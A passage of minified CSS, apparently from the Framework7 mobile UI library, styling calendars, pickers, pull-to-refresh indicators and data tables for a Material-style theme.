16px*20)/ 21)}.md .row.no-gap .desktop-auto:nth-last-child(21),.md .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.calendar{overflow:hidden;height:320px;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.calendar.modal-in{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}@media (orientation:landscape) and (max-height:415px){.calendar.calendar-sheet{height:220px}.calendar.calendar-modal{height:calc(100vh - 44px)}}.calendar.calendar-inline,.calendar.calendar-popover .calendar{position:relative}.calendar-modal{position:absolute;height:420px;overflow:hidden;top:50%;left:50%;min-width:300px;max-width:380px;-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0);-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:12000;background:#fff;width:90%;border-radius:4px;-webkit-box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22);box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}.calendar-modal.modal-in,.calendar-modal.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.calendar-modal.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.calendar-modal.modal-out{-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0)}.calendar-popover{width:320px}.calendar-popover .calendar{height:320px}.calendar-week-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:11px}.calendar-week-header .calendar-week-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:14.28571429%;width:calc(100% / 7);text-align:center}.calendar-months{width:100%;height:100%;overflow:hidden;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-months-wrapper{position:relative;width:100%;height:100%;-webkit-transition:.3s;transition:.3s}.calendar-month{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%;position:absolute;left:0;top:0}.calendar-row{height:16.66666667%;height:calc(100% / 6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.md .calendar-header{height:56px;background:#2196f3;font-size:20px;line-height:56px;padding:0 24px;color:#fff;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.md .calendar-footer{position:relative;width:100%;height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .calendar .toolbar{background:0 0!important;color:#212121}.md .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .calendar .toolbar a.link .ripple-wave{background:rgba(0,0,0,.1)}.md .calendar .toolbar .icon-back,.md .calendar .toolbar .icon-forward,.md .calendar .toolbar .icon-next,.md .calendar .toolbar .icon-prev{opacity:.54}.md .calendar-week-header{color:rgba(0,0,0,.54);height:24px}.md .calendar-week-header .calendar-week-day{line-height:24px}.md .calendar-day.calendar-day-today span{color:#2196f3}.md .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.md .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .calendar-day span{width:36px;height:36px;line-height:36px}.md .calendar-range .calendar-day.calendar-day-selected span{color:#fff}.md .calendar-month-selector a.icon-only,.md .calendar-year-selector a.icon-only{min-width:36px}.md .calendar-sheet:before{content:'';position:absolute;background-color:#ccc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-left-edge.calendar .calendar-row,.md.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .panel-left.calendar .calendar-row,.md.device-iphone-x .panel-left.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-right-edge.calendar .calendar-row,.md.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .panel-right.calendar .calendar-row,.md.device-iphone-x .panel-right.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.md .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.md .theme-dark .calendar-week-header{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day{color:rgba(255,255,255,.87)}.md .theme-dark .calendar-day.calendar-day-disabled{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day.calendar-day-next,.md .theme-dark .calendar-day.calendar-day-prev{color:rgba(255,255,255,.35)}.calendar-modal.md .theme-dark,.md .theme-dark .calendar-modal{background:#202020}.calendar.md .theme-dark.calendar-sheet:before,.md .theme-dark .calendar.calendar-sheet:before{background-color:rgba(255,255,255,.2)}.calendar.md .theme-dark .toolbar,.md .theme-dark .calendar .toolbar{color:rgba(255,255,255,.54)}.calendar.md .theme-dark .toolbar a.link:before,.md .theme-dark .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.calendar.md .theme-dark .toolbar a.link.active-state:before,.md .theme-dark .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.calendar.md .theme-dark .toolbar a.link .ripple-wave,.md .theme-dark .calendar .toolbar a.link .ripple-wave{background-color:rgba(255,255,255,.3)}.md .color-red .calendar-header,.md .color-theme-red .calendar-header{background:#f44336}.md .color-red .calendar-day.calendar-day-today span,.md .color-theme-red .calendar-day.calendar-day-today span{color:#f44336}.md .color-red .calendar-day.calendar-day-has-events span:after,.md .color-theme-red .calendar-day.calendar-day-has-events span:after{background:#f44336}.md .color-red .calendar-day.calendar-day-selected span,.md .color-theme-red .calendar-day.calendar-day-selected span{background:#f44336;color:#fff}.md .color-red .calendar-day.calendar-day-selected span:after,.md .color-theme-red .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-green .calendar-header,.md .color-theme-green .calendar-header{background:#4caf50}.md .color-green .calendar-day.calendar-day-today span,.md .color-theme-green .calendar-day.calendar-day-today span{color:#4caf50}.md .color-green .calendar-day.calendar-day-has-events span:after,.md .color-theme-green .calendar-day.calendar-day-has-events span:after{background:#4caf50}.md .color-green .calendar-day.calendar-day-selected span,.md .color-theme-green .calendar-day.calendar-day-selected span{background:#4caf50;color:#fff}.md .color-green .calendar-day.calendar-day-selected span:after,.md .color-theme-green .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-blue .calendar-header,.md .color-theme-blue .calendar-header{background:#2196f3}.md .color-blue .calendar-day.calendar-day-today span,.md .color-theme-blue .calendar-day.calendar-day-today span{color:#2196f3}.md .color-blue .calendar-day.calendar-day-has-events span:after,.md .color-theme-blue .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .color-blue .calendar-day.calendar-day-selected span,.md .color-theme-blue .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .color-blue .calendar-day.calendar-day-selected span:after,.md .color-theme-blue .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-pink .calendar-header,.md .color-theme-pink .calendar-header{background:#e91e63}.md .color-pink .calendar-day.calendar-day-today span,.md .color-theme-pink .calendar-day.calendar-day-today span{color:#e91e63}.md .color-pink .calendar-day.calendar-day-has-events span:after,.md .color-theme-pink .calendar-day.calendar-day-has-events span:after{background:#e91e63}.md .color-pink .calendar-day.calendar-day-selected span,.md .color-theme-pink .calendar-day.calendar-day-selected span{background:#e91e63;color:#fff}.md .color-pink .calendar-day.calendar-day-selected span:after,.md .color-theme-pink .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-yellow .calendar-header,.md .color-yellow .calendar-header{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-today span,.md .color-yellow .calendar-day.calendar-day-today span{color:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after,.md .color-yellow .calendar-day.calendar-day-has-events span:after{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-selected span,.md .color-yellow .calendar-day.calendar-day-selected span{background:#ffeb3b;color:#fff}.md .color-theme-yellow .calendar-day.calendar-day-selected span:after,.md .color-yellow .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-orange .calendar-header,.md .color-theme-orange .calendar-header{background:#ff9800}.md .color-orange .calendar-day.calendar-day-today span,.md .color-theme-orange .calendar-day.calendar-day-today span{color:#ff9800}.md .color-orange .calendar-day.calendar-day-has-events span:after,.md .color-theme-orange .calendar-day.calendar-day-has-events span:after{background:#ff9800}.md .color-orange .calendar-day.calendar-day-selected span,.md .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9800;color:#fff}.md .color-orange .calendar-day.calendar-day-selected span:after,.md .color-theme-orange .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-gray .calendar-header,.md .color-theme-gray .calendar-header{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-today span,.md .color-theme-gray .calendar-day.calendar-day-today span{color:#9e9e9e}.md .color-gray .calendar-day.calendar-day-has-events span:after,.md .color-theme-gray .calendar-day.calendar-day-has-events span:after{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-selected span,.md .color-theme-gray .calendar-day.calendar-day-selected span{background:#9e9e9e;color:#fff}.md .color-gray .calendar-day.calendar-day-selected span:after,.md .color-theme-gray .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-white .calendar-header,.md .color-white .calendar-header{background:#fff}.md .color-theme-white .calendar-day.calendar-day-today span,.md .color-white .calendar-day.calendar-day-today span{color:#fff}.md .color-theme-white .calendar-day.calendar-day-has-events span:after,.md .color-white .calendar-day.calendar-day-has-events span:after{background:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span,.md .color-white .calendar-day.calendar-day-selected span{background:#fff;color:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span:after,.md .color-white .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-black .calendar-header,.md .color-theme-black .calendar-header{background:#000}.md .color-black .calendar-day.calendar-day-today span,.md .color-theme-black .calendar-day.calendar-day-today span{color:#000}.md .color-black .calendar-day.calendar-day-has-events span:after,.md .color-theme-black .calendar-day.calendar-day-has-events span:after{background:#000}.md .color-black .calendar-day.calendar-day-selected span,.md .color-theme-black .calendar-day.calendar-day-selected span{background:#000;color:#fff}.md .color-black .calendar-day.calendar-day-selected span:after,.md .color-theme-black .calendar-day.calendar-day-selected span:after{background-color:#fff}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and (max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{right:100%}.picker-column.picker-column-last:after{left:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.md .picker-popover .toolbar{border-radius:2px 2px 0 0}.md .picker-columns{font-size:20px}.md .picker-column-divider{color:rgba(0,0,0,.87)}.md .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 48px)}.md .picker-center-highlight:before{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .picker-center-highlight:after{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .picker-column-divider{color:rgba(255,255,255,.87)}.md .theme-dark .picker-center-highlight:before{background-color:rgba(255,255,255,.15)}.md .theme-dark .picker-center-highlight:after{background-color:rgba(255,255,255,.15)}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.md .infinite-scroll-preloader{margin-top:32px;margin-bottom:32px}.ptr-preloader .preloader{position:absolute;left:50%}.md .ptr-preloader{position:absolute;left:50%;top:16px;width:40px;height:40px;border-radius:50%;background:#fff;margin-left:-20px;margin-top:-7px;z-index:100;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}@media (min-width:768px){.md .ptr-preloader{top:24px}}.md .ptr-preloader .preloader{width:22px;height:22px;margin-left:-11px;margin-top:-11px;top:50%;visibility:hidden}.md .ptr-preloader .preloader .preloader-inner-gap,.md .ptr-preloader .preloader .preloader-inner-half-circle{border-width:3px}.md .ptr-arrow{width:22px;height:22px;-webkit-box-sizing:border-box;box-sizing:border-box;border:3px solid #757575;position:absolute;left:50%;top:50%;margin-left:-11px;margin-top:-11px;border-left-color:transparent;border-radius:50%;opacity:1;-webkit-transform:rotate(150deg);transform:rotate(150deg)}.md .ptr-arrow:after{content:'';width:0;height:0;position:absolute;left:-5px;bottom:0;border-bottom-width:6px;border-bottom-style:solid;border-bottom-color:inherit;border-left:5px solid transparent;border-right:5px solid transparent;-webkit-transform:rotate(-40deg);transform:rotate(-40deg)}.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader,.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader *{-webkit-animation:none;animation:none}.md .ptr-pull-up .ptr-preloader .preloader,.md .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.md .ptr-pull-up .ptr-arrow,.md .ptr-refreshing .ptr-arrow{visibility:hidden}.md .ptr-refreshing .ptr-preloader{-webkit-transform:translate3d(0,66px,0);transform:translate3d(0,66px,0)}.md .ptr-transitioning .ptr-arrow{-webkit-transition:.3s;transition:.3s}.md .ptr-pull-up .ptr-arrow{-webkit-transition:.4s;transition:.4s;-webkit-transform:rotate(620deg)!important;transform:rotate(620deg)!important;opacity:0}.md .ptr-refreshing .ptr-preloader,.md .ptr-transitioning .ptr-preloader{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .ptr-no-navbar .ptr-preloader{top:auto;bottom:100%;margin-bottom:7px}.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:64px}@media (min-width:768px){.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:72px}}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:left}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:right}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-left:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:right;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-left:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:left}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-right:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;left:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-left:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-left:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table 